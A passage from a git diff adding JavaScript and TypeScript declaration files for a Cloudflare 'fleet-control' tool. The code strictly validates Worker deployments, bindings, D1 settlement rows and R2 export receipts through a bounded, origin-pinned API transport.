+  if (
+    value.strategy !== 'percentage' ||
+    !Array.isArray(value.versions) ||
+    value.versions.length < 1 ||
+    value.versions.length > bound
+  )
+    refuse();
+  const seen = new Set();
+  let total = 0;
+  const versions = value.versions.map((entry) => {
+    const versionId = id(entry.version_id);
+    if (
+      seen.has(versionId) ||
+      typeof entry.percentage !== 'number' ||
+      !Number.isFinite(entry.percentage) ||
+      entry.percentage < 0 ||
+      entry.percentage > 100
+    )
+      refuse();
+    seen.add(versionId);
+    total += entry.percentage;
+    return { versionId, percentage: entry.percentage };
+  });
+  if (total !== 100) refuse();
+  // Zero-weight entries do not participate in the active route.
+  const active = exactActiveVersionId(
+    { versions: value.versions.filter((entry) => entry.percentage > 0) },
+    'direct',
+  );
+  return { deploymentId: value.id, activeVersionId: active, versions };
+}
+
+function bindings(value, expected, checkRelease) {
+  if (!Array.isArray(value)) refuse();
+  const normalized = providerBindingsToPlainWorkerShape(value);
+  const indexed = new Map();
+  for (const binding of normalized) {
+    if (
+      binding.type === 'unsupported' ||
+      typeof binding.name !== 'string' ||
+      indexed.has(binding.name)
+    )
+      refuse();
+    indexed.set(binding.name, binding);
+  }
+  const expectedTypes = {
+    DB: 'd1',
+    MAINTENANCE: 'durable-object',
+    RUNNER: 'durable-object',
+    PROBE_BUCKET: 'r2-bucket',
+    DEPLOYMENT_IDENTITY_SECRET: 'secret-text',
+    MAINTENANCE_ADMIN_SECRET: 'secret-text',
+    APP_PROBE_TOKEN: 'secret-text',
+    DEPLOYMENT_TENANT: 'plain-text',
+    FLEET_ENVIRONMENT: 'plain-text',
+    FLEET_SCHEMA_VERSION: 'plain-text',
+    FLEET_SPEC_DIGEST: 'plain-text',
+    FLEET_INGRESS_CONTRACT: 'plain-text',
+    APPLICATION_RELEASE: 'plain-text',
+  };
+  if (
+    indexed.size !== Object.keys(expectedTypes).length ||
+    Object.entries(expectedTypes).some(
+      ([name, type]) => indexed.get(name)?.type !== type,
+    )
+  )
+    refuse();
+  if (indexed.get('DB').databaseId !== expected.databaseId) refuse();
+  const namespaces = ['MAINTENANCE', 'RUNNER'].map((name) => {
+    const binding = indexed.get(name);
+    if (
+      binding.className !==
+        (name === 'MAINTENANCE' ? 'Maintenance' : 'Runner') ||
+      (binding.scriptName !== undefined &&
+        binding.scriptName !== expected.scriptName) ||
+      binding.dispatchNamespace !== undefined
+    )
+      refuse();
+    return {
+      binding: name,
+      className: binding.className,
+      namespaceId: id(binding.namespaceId),
+    };
+  });
+  if (namespaces[0].namespaceId === namespaces[1].namespaceId) refuse();
+  const bucket = indexed.get('PROBE_BUCKET');
+  if (
+    bucket.jurisdiction !== undefined ||
+    typeof bucket.bucketName !== 'string' ||
+    !/^[a-z0-9][a-z0-9-]{1,61}[a-z0-9]$/u.test(bucket.bucketName)
+  )
+    refuse();
+  const vars = {
+    DEPLOYMENT_TENANT: expected.tenantTag,
+    FLEET_ENVIRONMENT: expected.environment,
+    FLEET_INGRESS_CONTRACT: 'guarded-object-v1',
+    ...(checkRelease
+      ? {
+          FLEET_SPEC_DIGEST: expected.specDigest,
+          FLEET_SCHEMA_VERSION: String(expected.schemaVersion),
+          APPLICATION_RELEASE: expected.applicationRelease,
+        }
+      : {}),
+  };
+  for (const [name, value] of Object.entries(vars))
+    if (indexed.get(name).value !== value) refuse();
+  if (
+    !['1', '2'].includes(indexed.get('APPLICATION_RELEASE').value) ||
+    indexed.get('FLEET_SCHEMA_VERSION').value !==
+      indexed.get('APPLICATION_RELEASE').value ||
+    typeof indexed.get('FLEET_SPEC_DIGEST').value !== 'string' ||
+    !/^[a-f0-9]{64}$/u.test(indexed.get('FLEET_SPEC_DIGEST').value)
+  )
+    refuse();
+  return {
+    databaseId: expected.databaseId,
+    namespaces,
+    bucketName: bucket.bucketName,
+  };
+}
+
+export async function observeDirectWorkerVersion(input) {
+  const ctx = context(input);
+  let expected;
+  try {
+    expected = target(input, ctx);
+  } catch {
+    refuse('invalid-input');
+  }
+  return session(ctx, async ({ sdk, bound }) => {
+    const selectors = { account_id: ctx.accountId };
+    const list = await sdk.workers.scripts.deployments.list(
+      expected.scriptName,
+      selectors,
+    );
+    if (
+      !Array.isArray(list.deployments) ||
+      list.deployments.length < 1 ||
+      list.deployments.length > bound
+    )
+      refuse();
+    const current = traffic(list.deployments[0], bound);
+    const exact = await sdk.workers.scripts.deployments.get(
+      current.deploymentId,
+      { ...selectors, script_name: expected.scriptName },
+    );
+    equal(traffic(exact, bound), current);
+    const version = await sdk.workers.scripts.versions.get(expected.versionId, {
+      ...selectors,
+      script_name: expected.scriptName,
+    });
+    if (version.id !== expected.versionId) refuse();
+    const runtime = version.resources?.script_runtime;
+    const intent = ctx.config.deployment;
+    if (
+      runtime?.limits?.cpu_ms !== intent.cpuLimitMs ||
+      runtime.compatibility_date !== intent.compatibilityDate
+    )
+      refuse();
+    // The version resource omits compatibility_flags when the list is empty.
+    equal(
+      runtime.compatibility_flags === undefined
+        ? []
+        : runtime.compatibility_flags,
+      intent.compatibilityFlags,
+    );
+    const resources = bindings(version.resources?.bindings, expected, true);
+    const settings = await sdk.workers.scripts.scriptAndVersionSettings.get(
+      expected.scriptName,
+      selectors,
+    );
+    if (settings.limits?.subrequests !== intent.subrequestLimit) refuse();
+    equal(
+      bindings(
+        settings.bindings,
+        expected,
+        current.activeVersionId === expected.versionId,
+      ),
+      resources,
+    );
+    const bucket = await sdk.r2.buckets.get(resources.bucketName, {
+      ...selectors,
+      jurisdiction: 'default',
+    });
+    if (
+      bucket.name !== resources.bucketName ||
+      (bucket.jurisdiction !== undefined &&
+        bucket.jurisdiction !== 'default') ||
+      typeof bucket.creation_date !== 'string' ||
+      bucket.creation_date.length > 64 ||
+      !Number.isFinite(Date.parse(bucket.creation_date))
+    )
+      refuse();
+    return {
+      role: expected.role,
+      accountId: ctx.accountId,
+      tenantTag: expected.tenantTag,
+      environment: expected.environment,
+      scriptName: expected.scriptName,
+      versionId: expected.versionId,
+      currentDeployment: current,
+      trafficPercentage:
+        current.versions.find((entry) => entry.versionId === expected.versionId)
+          ?.percentage ?? 0,
+      cpuLimitMs: runtime.limits.cpu_ms,
+      subrequestLimit: settings.limits.subrequests,
+      specDigest: expected.specDigest,
+      schemaVersion: expected.schemaVersion,
+      applicationRelease: expected.applicationRelease,
+      databaseId: resources.databaseId,
+      namespaces: resources.namespaces,
+      bucket: {
+        name: bucket.name,
+        jurisdiction: 'default',
+        creationDate: new Date(bucket.creation_date).toISOString(),
+      },
+    };
+  });
+}
+
+async function queryRows(sdk, ctx, sql, params, limit) {
+  const page = await sdk.d1.database.query(ctx.bootstrap.fleet.uuid, {
+    account_id: ctx.accountId,
+    sql,
+    params,
+  });
+  if (!Array.isArray(page.result) || page.result.length !== 1) refuse();
+  const result = page.result[0];
+  // Cloudflare returns errors: null on successful pages; accept it on statements too.
+  if (
+    result.success !== true ||
+    (result.errors !== undefined &&
+      result.errors !== null &&
+      (!Array.isArray(result.errors) || result.errors.length !== 0)) ||
+    (result.error !== undefined && result.error !== null) ||
+    !Array.isArray(result.results) ||
+    result.results.length > limit
+  )
+    refuse();
+  return result.results.map(object);
+}
+
+function storedJson(row, field, prefix) {
+  const value = row[`${field}_json`];
+  const digest = hash(row[`${field}_sha256`]);
+  if (
+    typeof value !== 'string' ||
+    Buffer.byteLength(value) > 256 * 1024 ||
+    createHash('sha256')
+      .update(
+        JSON.stringify([
+          'observation',
+          prefix,
+          'settlement',
+          row.observation_key,
+          field,
+          value,
+        ]),
+      )
+      .digest('hex') !== digest
+  )
+    refuse();
+  return object(JSON.parse(value));
+}
+
+export async function readDirectSettlementEffects(input) {
+  const ctx = context(input);
+  let expected;
+  try {
+    if (
+      !Array.isArray(input.expected) ||
+      input.expected.length < 1 ||
+      input.expected.length > 3
+    )
+      refuse();
+    expected = input.expected.map((value) => target(value, ctx));
+    if (new Set(expected.map((value) => value.role)).size !== expected.length)
+      refuse();
+  } catch {
+    refuse('invalid-input');
+  }
+  return session(ctx, async ({ single }) => {
+    const { fleetSettlementKey } = await import('@proofoftech/fleet-control');
+    const rows = await queryRows(
+      single,
+      ctx,
+      SETTLEMENT_SQL,
+      [ctx.config.resourcePrefix],
+      expected.length,
+    );
+    if (rows.length !== expected.length) refuse();
+    const effects = [];
+    const seen = new Set();
+    for (const row of rows) {
+      if (
+        row.run_key !== ctx.config.resourcePrefix ||
+        row.observation_kind !== 'settlement'
+      )
+        refuse();
+      const key = hash(row.observation_key);
+      if (seen.has(key)) refuse();
+      seen.add(key);
+      const identity = storedJson(row, 'identity', ctx.config.resourcePrefix);
+      const provenance = storedJson(
+        row,
+        'provenance',
+        ctx.config.resourcePrefix,
+      );
+      const match = expected.find((value) => value.role === identity.role);
+      if (!match) refuse();
+      equal(identity, {
+        version: 1,
+        role: match.role,
+        tenantTag: match.tenantTag,
+        environment: match.environment,
+        target: {
+          physicalScriptName: match.scriptName,
+          specDigest: match.specDigest,
+          artifactVersion: match.versionId,
+        },
+      });
+      if (
+        key !==
+          fleetSettlementKey({
+            tenantTag: match.tenantTag,
+            environment: match.environment,
+            specDigest: match.specDigest,
+            artifactVersion: match.versionId,
+          }) ||
+        typeof provenance.alreadySettled !== 'boolean' ||
+        typeof provenance.observedAt !== 'string' ||
+        !Number.isFinite(Date.parse(provenance.observedAt))
+      )
+        refuse();
+      const ready = await queryRows(
+        single,
+        ctx,
+        READY_SQL,
+        [match.tenantTag, match.environment],
+        1,
+      );
+      equal(ready, [
+        {
+          tenant_tag: match.tenantTag,
+          environment: match.environment,
+          backend: 'plain-worker',
+          script_name: match.scriptName,
+          database_id: match.databaseId,
+          schema_version: match.schemaVersion,
+          artifact_version: match.versionId,
+          desired_spec_digest: match.specDigest,
+          phase: 'ready',
+          settled_settlement_key: key,
+        },
+      ]);
+      effects.push({
+        role: match.role,
+        tenantTag: match.tenantTag,
+        environment: match.environment,
+        scriptName: match.scriptName,
+        databaseId: match.databaseId,
+        versionId: match.versionId,
+        specDigest: match.specDigest,
+        schemaVersion: match.schemaVersion,
+        settlementKey: key,
+        identitySha256: row.identity_sha256,
+        provenanceSha256: row.provenance_sha256,
+      });
+    }
+    return effects.sort((a, b) => a.role.localeCompare(b.role));
+  });
+}
+
+export async function verifyDirectDecommissionExport(input) {
+  const ctx = context(input);
+  let metadata;
+  let sourceInvocationOrdinal;
+  let selectedRole;
+  let key;
+  try {
+    selectedRole = role(input.role);
+    sourceInvocationOrdinal = integer(input.sourceInvocationOrdinal, 1);
+    metadata = structuredClone(input.metadata);
+    const last = ctx.snapshot.lastInvocation;
+    if (last.ordinal !== sourceInvocationOrdinal || last.state !== 'settled')
+      refuse();
+    equal(last.action, { kind: 'decommission-export', role: selectedRole });
+    const receipt = object(metadata.receipt);
+    const authority = `r2://${ctx.bootstrap.exports.name}/${ctx.config.resourcePrefix}/receipts/v1`;
+    if (
+      metadata.available !== true ||
+      metadata.role !== selectedRole ||
+      receipt.version !== 1 ||
+      receipt.authority !== authority
+    )
+      refuse();
+    id(receipt.databaseId);
+    id(receipt.operationId);
+    equal(receipt, {
+      version: 1,
+      authority,
+      databaseId: receipt.databaseId,
+      operationId: receipt.operationId,
+    });
+    if (
+      metadata.location !==
+        `${authority}/${receipt.databaseId}/${receipt.operationId}.sql` ||
+      !['database-exported', 'database-deleting', 'decommissioned'].includes(
+        metadata.lifecyclePhase,
+      ) ||
+      !['transitioning', 'discover', 'verify', 'blocked', 'complete'].includes(
+        metadata.intentState,
+      )
+    )
+      refuse();
+    integer(metadata.revision);
+    integer(metadata.generation);
+    integer(metadata.size, 1);
+    hash(metadata.sha256);
+    key = `${ctx.config.resourcePrefix}/receipts/v1/${receipt.databaseId}/${receipt.operationId}.sql`;
+  } catch {
+    refuse('invalid-input');
+  }
+  return session(ctx, async ({ exportReader }) => {
+    const response = await exportReader(metadata.size).r2.buckets.objects.get(
+      key,
+      {
+        account_id: ctx.accountId,
+        bucket_name: ctx.bootstrap.exports.name,
+        jurisdiction: 'default',
+      },
+    );
+    if (
+      response.status !== 200 ||
+      response.redirected ||
+      response.headers.has('content-range') ||
+      (response.headers.has('content-encoding') &&
+        response.headers.get('content-encoding') !== 'identity')
+    )
+      cancelAndRefuse(response);
+    const length = response.headers.get('content-length');
+    if (
+      length !== null &&
+      (!/^[1-9][0-9]*$/u.test(length) || Number(length) !== metadata.size)
+    )
+      cancelAndRefuse(response);
+    if (!response.body) refuse();
+    const reader = response.body.getReader();
+    const digest = createHash('sha256');
+    let size = 0;
+    try {
+      while (true) {
+        const chunk = await reader.read();
+        if (chunk.done) break;
+        size += chunk.value.byteLength;
+        if (size > metadata.size) refuse();
+        digest.update(chunk.value);
+      }
+    } finally {
+      void reader.cancel().catch(() => {});
+    }
+    const sha256 = digest.digest('hex');
+    if (size !== metadata.size || sha256 !== metadata.sha256) refuse();
+    return {
+      verified: true,
+      role: selectedRole,
+      receipt: metadata.receipt,
+      location: metadata.location,
+      size,
+      sha256,
+      sourceInvocationOrdinal,
+    };
+  });
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-provider.d.mts b/packages/fleet-control/scripts/direct-credentialed-provider.d.mts
new file mode 100644
index 00000000..be41130d
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-provider.d.mts
@@ -0,0 +1,99 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type Cloudflare from 'cloudflare';
+
+export type DirectProviderErrorCode =
+  | 'invalid-input'
+  | 'provider-unavailable'
+  | 'observation-mismatch'
+  | 'budget-exhausted'
+  | 'forbidden';
+
+export class DirectProviderError extends Error {
+  readonly code: DirectProviderErrorCode;
+  constructor(code?: DirectProviderErrorCode);
+}
+
+export interface DirectProviderTransport {
+  assertBudget(): void;
+  failure(): DirectProviderErrorCode | undefined;
+  close(): void;
+  fetch(
+    input: RequestInfo | URL,
+    init?: RequestInit,
+    rawByteLimit?: number,
+  ): Promise<Response>;
+}
+
+export interface DirectProviderSession {
+  readonly sdk: Cloudflare;
+  readonly numbered: Cloudflare;
+  readonly single: Cloudflare;
+  readonly status: Cloudflare;
+  readonly settled: Cloudflare;
+  readonly APIError: typeof import('cloudflare').APIError;
+  readonly bound: number;
+  readonly transport: DirectProviderTransport;
+  exportReader(expectedSize: number): Cloudflare;
+}
+
+export interface DirectProviderPage<Row> {
+  readonly result: readonly Row[];
+  readonly result_info?: Readonly<{
+    total_count?: number;
+    total_pages?: number;
+  }>;
+}
+
+export interface DirectProviderPages<Row> {
+  iterPages(): AsyncIterable<DirectProviderPage<Row>>;
+}
+
+export type DirectDispatchClassification = Readonly<{
+  kind: 'first-page-404' | 'empty' | 'enumerated';
+  count: number;
+  names: readonly string[];
+}>;
+
+export function validateProviderAuth(value: unknown): void;
+
+export function identifier(value: unknown, max?: number): string;
+
+export function providerErrorFrom(error: unknown): DirectProviderError | null;
+
+export function inventory<Row>(
+  pages: PromiseLike<DirectProviderPages<Row>>,
+  identity: (row: Row) => readonly string[],
+  bound: number,
+): Promise<Row[]>;
+
+export function classifyDispatchNamespaces(
+  single: Cloudflare,
+  selectors: Readonly<{ account_id: string }>,
+  bound: number,
+): Promise<DirectDispatchClassification>;
+
+export function singlePage<Row>(
+  promise: PromiseLike<{ readonly result: readonly Row[] }>,
+): Promise<Readonly<{ rows: readonly Row[]; exhaustive: boolean }>>;
+
+export function bucketPages(
+  input: Readonly<{
+    sdk: Cloudflare;
+    selectors: Readonly<{ account_id: string }>;
+    jurisdiction: 'default' | 'eu' | 'fedramp';
+    bound: number;
+  }>,
+): Promise<Readonly<Record<string, unknown>>[]>;
+
+export function probeAbsent(
+  promise: PromiseLike<unknown>,
+): Promise<'absent' | 'present'>;
+
+export function openDirectProviderSession(
+  input: Readonly<{
+    apiToken: string;
+    fetchRequest: typeof fetch;
+    timeoutMs: number;
+  }>,
+): Promise<DirectProviderSession>;
diff --git a/packages/fleet-control/scripts/direct-credentialed-provider.mjs b/packages/fleet-control/scripts/direct-credentialed-provider.mjs
new file mode 100644
index 00000000..174a0f86
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-provider.mjs
@@ -0,0 +1,519 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { validateHeaderValue } from 'node:http';
+
+const API_BASE = 'https://api.cloudflare.com/client/v4';
+const MAX_ATTEMPTS = 512;
+const MAX_DURATION_MS = 300_000;
+const MAX_JSON_BYTES = 8 * 1024 * 1024;
+const ERROR_CODES = new Set([
+  'invalid-input',
+  'provider-unavailable',
+  'observation-mismatch',
+  'budget-exhausted',
+  'forbidden',
+]);
+
+export class DirectProviderError extends Error {
+  constructor(code = 'invalid-input') {
+    const accepted = ERROR_CODES.has(code) ? code : 'invalid-input';
+    super(accepted);
+    this.name = 'DirectProviderError';
+    this.code = accepted;
+  }
+}
+
+function refuse(code = 'observation-mismatch') {
+  throw new DirectProviderError(code);
+}
+function object(value) {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) refuse();
+  return value;
+}
+
+export function identifier(value, max = 128) {
+  if (
+    typeof value !== 'string' ||
+    !value ||
+    value !== value.trim() ||
+    value.length > max ||
+    [...value].some(
+      (character) =>
+        character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127,
+    )
+  )
+    refuse();
+  return value;
+}
+
+export function validateProviderAuth(value) {
+  if (typeof value !== 'string' || !value || value !== value.trim())
+    refuse('invalid-input');
+  const header = `Bearer ${value}`;
+  validateHeaderValue('Authorization', header);
+  if (new Headers({ Authorization: header }).get('authorization') !== header)
+    refuse('invalid-input');
+}
+
+function cancel(response) {
+  try {
+    void response?.body?.cancel().catch(() => {});
+  } catch {
+    /* The abortable pipe owns a locked source. */
+  }
+}
+
+function providerTransport(fetchRequest, timeoutMs) {
+  const expiresAt = performance.now() + MAX_DURATION_MS;
+  const active = new Set();
+  let attempts = 0;
+  let failure;
+  const assertBudget = () => {
+    if (performance.now() >= expiresAt || attempts >= MAX_ATTEMPTS) {
+      failure = 'budget-exhausted';
+      refuse(failure);
+    }
+  };
+  return {
+    assertBudget,
+    failure: () => failure,
+    close() {
+      for (const finish of active) finish();
+    },
+    async fetch(input, init, rawByteLimit) {
+      assertBudget();
+      const url = new URL(
+        typeof input === 'string' || input instanceof URL ? input : input.url,
+      );
+      if (
+        url.origin !== 'https://api.cloudflare.com' ||
+        !url.pathname.startsWith('/client/v4/') ||
+        url.username ||
+        url.password ||
+        url.hash
+      )
+        refuse('provider-unavailable');
+      attempts += 1;
+      const controller = new AbortController();
+      const signal = AbortSignal.any([
+        controller.signal,
+        ...(init?.signal ? [init.signal] : []),
+      ]);
+      const deadline = Math.min(timeoutMs, expiresAt - performance.now());
+      let response;
+      let bounded;
+      let abort;
+      let timer;
+      let rawReader;
+      const finish = () => {
+        clearTimeout(timer);
+        signal.removeEventListener('abort', abort);
+        controller.abort();
+        cancel(bounded ?? response);
+        if (rawReader) {
+          void rawReader.cancel().catch(() => {});
+          rawReader = undefined;
+        }
+        active.delete(finish);
+      };
+      active.add(finish);
+      const aborted = new Promise((_, reject) => {
+        abort = () => reject(new DirectProviderError('provider-unavailable'));
+        signal.addEventListener('abort', abort, { once: true });
+      });
+      timer = setTimeout(() => controller.abort(), Math.max(1, deadline));
+      try {
+        signal.throwIfAborted();
+        if (rawByteLimit !== undefined) {
+          const headers = new Headers(
+            init?.headers ??
+              (input instanceof Request ? input.headers : undefined),
+          );
+          // The export observation refuses compression even if the platform ignores identity.
+          headers.set('Accept-Encoding', 'identity');
+          init = { ...init, headers };
+        }
+        const exchange = Promise.resolve(
+          fetchRequest(input, { ...init, signal, redirect: 'manual' }),
+        ).then((value) => {
+          if (signal.aborted) {
+            cancel(value);
+            signal.throwIfAborted();
+          }
+          return value;
+        });
+        response = await Promise.race([exchange, aborted]);
+        if (
+          response.redirected ||
+          (response.status >= 300 && response.status < 400)
+        )
+          refuse('provider-unavailable');
+        let bytes = 0;
+        if (rawByteLimit !== undefined && response.status === 200) {
+          rawReader = response.body?.getReader();
+          if (!rawReader) refuse('provider-unavailable');
+          const reader = rawReader;
+          bounded = new Response(
+            new ReadableStream({
+              async pull(output) {
+                try {
+                  const chunk = await Promise.race([reader.read(), aborted]);
+                  if (chunk.done) {
+                    output.close();
+                    finish();
+                    return;
+                  }
+                  if (!(chunk.value instanceof Uint8Array))
+                    refuse('provider-unavailable');
+                  bytes += chunk.value.byteLength;
+                  if (bytes > rawByteLimit) refuse('observation-mismatch');
+                  output.enqueue(chunk.value);
+                } catch (error) {
+                  output.error(error);
+                  finish();
+                }
+              },
+              cancel() {
+                finish();
+              },
+            }),
+            {
+              status: response.status,
+              headers: response.headers,
+            },
+          );
+          return bounded;
+        }
+        const body = response.body?.pipeThrough(
+          new TransformStream({
+            transform(chunk, output) {
+              bytes += chunk.byteLength;
+              if (bytes > MAX_JSON_BYTES) refuse('provider-unavailable');
+              output.enqueue(chunk);
+            },
+          }),
+          { signal },
+        );
+        bounded = new Response(body, {
+          status: response.status,
+          statusText: response.statusText,
+          headers: response.headers,
+        });
+        return new Proxy(bounded, {
+          get(target, property) {
+            const value = Reflect.get(target, property, target);
+            if (
+              ['json', 'text', 'arrayBuffer', 'blob', 'formData'].includes(
+                property,
+              )
+            )
+              return async (...args) => {
+                try {
+                  return await Promise.race([
+                    value.apply(target, args),
+                    aborted,
+                  ]);
+                } finally {
+                  finish();
+                }
+              };
+            return typeof value === 'function' ? value.bind(target) : value;
+          },
+        });
+      } catch (error) {
+        finish();
+        throw error;
+      }
+    },
+  };
+}
+
+function validateEnvelope(value) {
+  object(value);
+  const cursor = value.result_info?.cursor;
+  // Cloudflare returns errors: null on successful pages.
+  if (
+    value.success !== true ||
+    (value.errors !== undefined &&
+      value.errors !== null &&
+      (!Array.isArray(value.errors) || value.errors.length !== 0)) ||
+    (typeof cursor === 'string' && cursor.length > 0)
+  )
+    refuse('provider-unavailable');
+}
+
+// `SinglePage` copies only the rows, so a caller cannot reach the `result_info`
+// the provider sent. The transport records that attestation against the row
+// array the page carries.
+const singlePageAttestations = new WeakMap();
+
+function proofFetch(transport, shape, bound) {
+  return async (input, init) => {
+    const response = await transport.fetch(input, init);
+    if (!response.ok || shape === 'status') return response;
+    const contentType = response.headers.get('content-type') ?? '';
+    if (
+      !/^application\/(?:json|[a-z0-9.+-]+\+json)(?:\s*;.*)?$/iu.test(
+        contentType,
+      ) ||
+      (shape !== 'object' && response.status !== 200) ||
+      // The SDK skips its parser, and so this validation, on an empty body.
+      (shape === 'settled' && response.headers.get('content-length') === '0')
+    ) {
+      cancel(response);
+      refuse('provider-unavailable');
+    }
+    // SDK parser selection must reach the validated JSON method.
+    response.headers.set(
+      'content-type',
+      contentType.replace(/^[^;]+/u, (mediaType) => mediaType.toLowerCase()),
+    );
+    const parse = response.json.bind(response);
+    const json = async () => {
+      const value = await parse();
+      validateEnvelope(value);
+      if (shape === 'object') object(value.result);
+      else if (shape === 'settled') {
+        if (value.result !== null) object(value.result);
+      } else {
+        const rows = value.result;
+        if (!Array.isArray(rows) || rows.length > bound)
+          refuse('provider-unavailable');
+        rows.forEach(object);
+        const info = value.result_info;
+        // Successful Cloudflare pages can omit optional metadata with null.
+        if (info !== undefined && info !== null) object(info);
+        const {
+          cursor,
+          total_pages: totalPages,
+          total_count: totalCount,
+          per_page: perPage,
+          page,
+          count,
+        } = info ?? {};
+        const url = new URL(
+          typeof input === 'string' || input instanceof URL ? input : input.url,
+        );
+        const requestedPage = Number(url.searchParams.get('page') ?? '1');
+        if (
+          (cursor !== undefined &&
+            cursor !== null &&
+            typeof cursor !== 'string') ||
+          [totalPages, totalCount, perPage, page, count].some(
+            (number) =>
+              number !== undefined &&
+              (!Number.isSafeInteger(number) || number < 0),
+          ) ||
+          (page !== undefined && page !== requestedPage) ||
+          (count !== undefined && count !== rows.length) ||
+          (perPage !== undefined && rows.length > perPage) ||
+          (totalCount !== undefined && rows.length > totalCount) ||
+          (totalPages === 0 && rows.length > 0)
+        )
+          refuse('provider-unavailable');
+        if (shape === 'single') {
+          if (
+            (totalPages !== undefined && totalPages > 1) ||
+            (totalCount !== undefined && totalCount !== rows.length)
+          )
+            refuse('provider-unavailable');
+          // A positive rule, stated independently of the refusals above it: the
+          // attestation records what the provider corroborated rather than what
+          // survived a refusal, so a relaxed refusal downgrades the page to
+          // `exhaustive: false` instead of silently attesting it.
+          singlePageAttestations.set(
+            rows,
+            totalCount === rows.length ||
+              totalPages === 1 ||
+              (totalPages === 0 && rows.length === 0),
+          );
+        } else if (
+          rows.length === 0 &&
+          ((totalPages !== undefined && totalPages > requestedPage) ||
+            (totalCount > 0 &&
+              (requestedPage === 1 ||
+                (perPage > 0 && totalCount / perPage > requestedPage - 1))))
+        )
+          refuse('provider-unavailable');
+      }
+      return value;
+    };
+    return new Proxy(response, {
+      get(target, property) {
+        if (property === 'json') return json;
+        const value = Reflect.get(target, property, target);
+        return typeof value === 'function' ? value.bind(target) : value;
+      },
+    });
+  };
+}
+
+export async function inventory(pages, identity, bound) {
+  const rows = [];
+  const seen = new Set();
+  let expectedCount = 0;
+  let expectedPages = 0;
+  let pageCount = 0;
+  for await (const page of (await pages).iterPages()) {
+    pageCount += 1;
+    expectedCount = Math.max(expectedCount, page.result_info?.total_count ?? 0);
+    expectedPages = Math.max(expectedPages, page.result_info?.total_pages ?? 0);
+    for (const row of page.result) {
+      const keys = identity(row);
+      if (keys.some((key) => seen.has(key)) || rows.length >= bound)
+        refuse('provider-unavailable');
+      for (const key of keys) seen.add(key);
+      rows.push(row);
+    }
+  }
+  if (rows.length < expectedCount || pageCount < expectedPages)
+    refuse('provider-unavailable');
+  return rows;
+}
+
+export async function classifyDispatchNamespaces(single, selectors, bound) {
+  const { APIError } = await import('cloudflare');
+  try {
+    const namespaces = await inventory(
+      single.workersForPlatforms.dispatch.namespaces.list(selectors),
+      (row) => [
+        `id:${identifier(row.namespace_id)}`,
+        `name:${identifier(row.namespace_name)}`,
+      ],
+      bound,
+    );
+    return {
+      kind: namespaces.length ? 'enumerated' : 'empty',
+      count: namespaces.length,
+      names: namespaces.map((row) => row.namespace_name),
+    };
+  } catch (error) {
+    if (error instanceof APIError && error.status === 404)
+      return { kind: 'first-page-404', count: 0, names: [] };
+    throw error;
+  }
+}
+
+export async function singlePage(promise) {
+  const rows = (await promise).result;
+  if (!Array.isArray(rows)) refuse('provider-unavailable');
+  return { rows, exhaustive: singlePageAttestations.get(rows) ?? false };
+}
+
+export async function bucketPages({ sdk, selectors, jurisdiction, bound }) {
+  const rows = [];
+  let startAfter;
+  // Only an empty page proves the end: a full page that happens to be last is
+  // indistinguishable from a truncated one.
+  for (;;) {
+    const page = await sdk.r2.buckets.list({
+      ...selectors,
+      per_page: 100,
+      order: 'name',
+      direction: 'asc',
+      jurisdiction,
+      ...(startAfter === undefined ? {} : { start_after: startAfter }),
+    });
+    const buckets = object(page).buckets;
+    if (!Array.isArray(buckets)) refuse('provider-unavailable');
+    if (buckets.length === 0) return rows;
+    for (const row of buckets) {
+      object(row);
+      if (
+        typeof row.name !== 'string' ||
+        !row.name ||
+        (startAfter !== undefined && row.name <= startAfter)
+      )
+        refuse('provider-unavailable');
+      startAfter = row.name;
+      rows.push(row);
+      if (rows.length > bound) refuse('provider-unavailable');
+    }
+  }
+}
+
+// The SDK reports a transport rejection as an APIConnectionError carrying the
+// original as `cause`, so a refusal raised here reaches callers wrapped.
+export function providerErrorFrom(error) {
+  let current = error;
+  for (let depth = 0; current && depth < 4; depth += 1) {
+    if (current instanceof DirectProviderError) return current;
+    current = current.cause;
+  }
+  return null;
+}
+
+export async function probeAbsent(promise) {
+  const { APIError } = await import('cloudflare');
+  try {
+    const value = await promise;
+    if (value instanceof Response) cancel(value);
+    return 'present';
+  } catch (error) {
+    const raised = providerErrorFrom(error);
+    if (raised) throw raised;
+    if (error instanceof APIError) {
+      if (error.status === 404) return 'absent';
+      if (error.status === 401 || error.status === 403) refuse('forbidden');
+    }
+    refuse('provider-unavailable');
+  }
+}
+
+export async function openDirectProviderSession({
+  apiToken,
+  fetchRequest,
+  timeoutMs,
+}) {
+  delete process.env.CLOUDFLARE_CUSTOM_HEADERS;
+  delete process.env.CLOUDFLARE_LOG;
+  delete process.env.CLOUDFLARE_BASE_URL;
+  const transport = providerTransport(fetchRequest, timeoutMs);
+  try {
+    const { default: Cloudflare, APIError } = await import('cloudflare');
+    const { CLOUDFLARE_INVENTORY_BOUND: bound } = await import(
+      '../src/cloudflare-client-config.ts'
+    );
+    const sdk = new Cloudflare({
+      baseURL: API_BASE,
+      apiToken,
+      apiKey: null,
+      apiEmail: null,
+      userServiceKey: null,
+      logLevel: 'off',
+      timeout: timeoutMs,
+      maxRetries: 0,
+      fetch: proofFetch(transport, 'object', bound),
+    });
+    const numbered = sdk.withOptions({
+      fetch: proofFetch(transport, 'numbered', bound),
+    });
+    const single = sdk.withOptions({
+      fetch: proofFetch(transport, 'single', bound),
+    });
+    const status = sdk.withOptions({
+      fetch: proofFetch(transport, 'status', bound),
+    });
+    const settled = sdk.withOptions({
+      fetch: proofFetch(transport, 'settled', bound),
+    });
+    return {
+      sdk,
+      numbered,
+      single,
+      status,
+      settled,
+      APIError,
+      bound,
+      transport,
+      exportReader(expectedSize) {
+        return sdk.withOptions({
+          fetch: (input, init) => transport.fetch(input, init, expectedSize),
+        });
+      },
+    };
+  } catch (error) {
+    transport.close();
+    throw error;
+  }
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.d.mts b/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.d.mts
new file mode 100644
index 00000000..347352db
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.d.mts
@@ -0,0 +1,69 @@
+// SPDX-License-Identifier: Apache-2.0
+
+/**
